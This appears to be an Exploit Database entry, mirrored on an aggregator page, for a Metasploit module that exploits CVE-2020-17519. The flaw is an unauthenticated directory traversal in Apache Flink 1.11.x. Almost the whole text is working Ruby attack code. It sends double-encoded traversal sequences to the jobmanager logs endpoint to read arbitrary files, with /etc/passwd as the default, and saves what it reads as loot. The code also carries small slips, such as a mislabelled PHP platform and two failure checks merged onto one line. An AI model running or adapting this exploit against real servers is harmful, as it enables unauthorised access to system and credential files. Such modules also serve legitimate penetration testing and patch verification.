Apache Flink 1.11.0 – Unauthenticated Arbitrary File Read (Metasploit)

• Exploit Database
• 15 阅读

• 作者： SunCSR Team
  日期： 2021-01-08
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/49398/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  
  def initialize(info = {})
  super(update_info(
  info,
  'Name' => 'Apache Flink File Read Vulnerability',
  'Description'=> %q{
  This module exploits an unauthenticated directory traversal vulnerability
  in Apache Flink version 1.11.0 (and released in 1.11.1 and 1.11.2 as well),
  allowing arbitrary file read with the web server privileges
  },
  'Author' =>
  [
  '0rich1 - Ant Security FG Lab', # Vulnerability discovery
  'Hoa Nguyen - Suncsr Team',# Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  ['CVE', '2020-17519'],
  ['URL', 'http://www.openwall.com/lists/oss-security/2021/01/05/2'],
  ['URL', 'https://www.tenable.com/cve/CVE-2020-17519']
  ],
  'Privileged' => false,
  'Platform' => ['php'],
  'Arch' => ARCH_PHP,
  'Targets'=> [['', {}]],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Jan 05 2021'
  
  ))
  
  register_options([
  OptInt.new('DEPTH',[true,'Traversal Depth',12]),
  OptString.new('FILEPATH',[true,'The path file to read','/etc/passwd'])
  ])
  end
  
  def run_host(ip)
  traversal = '..%252f' * datastore['DEPTH']
  filename = datastore['FILEPATH'].gsub("/","%252f")
  filename = filename[1, filename.length] if filename =~ /^\//
  
  res = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path,'jobmanager','logs',"#{traversal}#{filename}"),
  })
  
  fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
  fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
  
  print_status('Downloading file...')
  print_line("\n#{res.body}\n")
  fname = datastore['FILEPATH']
  path = store_loot(
  'apache.traversal',
  'text/plain',
  ip,
  res.body,
  fname
  )
  print_good("File saved in: #{path}")
  end
  end